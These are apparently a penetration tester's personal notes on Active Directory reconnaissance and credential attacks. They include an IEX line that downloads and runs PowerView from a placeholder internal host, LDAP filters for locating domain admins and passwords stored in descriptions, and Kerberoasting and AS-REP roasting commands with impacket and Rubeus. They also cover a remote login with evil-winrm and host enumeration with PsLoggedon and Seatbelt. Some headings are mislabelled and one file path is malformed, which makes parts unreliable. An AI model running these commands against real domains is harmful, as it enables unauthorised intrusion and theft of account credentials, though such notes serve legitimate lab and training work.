Active Directory Recon

Enum all inside domain

Check User's Priviledge in Domain

net user <current user> /domain

Global Group = PswReader

this group is able to read LAPS

Global Group memberships *Domain Users *PswReaders

// import the powerview.ps1
IEX (New-Object Net.WebClient).DownloadString('http://192.168.x.x/powerview.ps1')

// dump the password information

Get-ADObject <hostname1>,<hostname2>

Object Control List (ACL)

GenericAll --> Full permission on object
GenericWrite --> Edit certain attributes on the object
WriteOwner --> Change ownership of the object
WriteDACL --> Edit ACE's applied to object
AllExtendedRights --> Change password, reset password, etc.
ForceChangePassword --> Password change for object
Self (Self-Membership) --> Add ourselves to for example a group

LDAP Search

Priviledges: Domain User

1. LDAPSearch.ps1

$ldapFilter = " PUT FILTER HERE "
$domain = New-Object System.DirectoryServices.DirectoryEntry
$search = New-Object System.DirectoryServices.DirectorySearcher
$search.SearchRoot = $domain
$search.Filter = $ldapFilter
$search.SearchScope = "Subtree"

$results = $search.FindAll()
foreach ($result in $results)
{
    $object = $result.GetDirectoryEntry()
    Write-Host "Object Name = " $object.name
}

Filter

ref: https://www.youtube.com/watch?v=-xF6bvbXCGE&list=PL8383xoY3ZibjcFWjDhabUGOjoZ4Ke8Yu&index=2

LDAP RECON
================

# look at all domain controllers
(primaryGroupID=516)

# look at all domain admins

(&(objectCategory=person)(objectClass=user)((memberOf=CN=Domain Admins,CN=Users,DC=TEST,DC=local)))

# unconstrained Delegations users
(userAccountControl:1.2.840.113556.1.4.803:=524288)

2. Using Powershell

# show the password in the description
Import-Module ActiveDirectory
Get-ADObject -LDAPFilter "(&(objectClass=user)(description=*pass*))" -property * | Select-Object SAMAccountName, Description, DistinguishedName

Have User & Pass SVC?

Some times services account indicate a Ticket possibility: Don't miss this check:

[Have SPN]

# ASP-REP Roasting attack

# identification
impacket-GetUserSPNs -dc-ip <IP DC> <domain>/<username>


impacket-GetUserSPNs -dc-ip <IP DC> <domain>/<username>:<password> -request
impacket-GetUserSPNs -dc-ip <IP DC> -request '<domain' -format hashcat




Rubeus.exe asreproast /format:hashcat /outfile:C:temphash.txt

Have User List?

Is there config "kerberost pre-auth is disable" on user.

impacket-GetNPUsers <domain>/ -usersfile users.txt -format hashcat

# login with evil-winrm
evil-winrm -i <ip> -u <username> -p <password>

TGT?

look at htb scrambled

PsLoggedon.exe

Check logged on users on the remote computer via active directory.

.\PsLoggedon.exe \\<computername>

Seatbelt.exe

.\Seatbelt.exe -group=all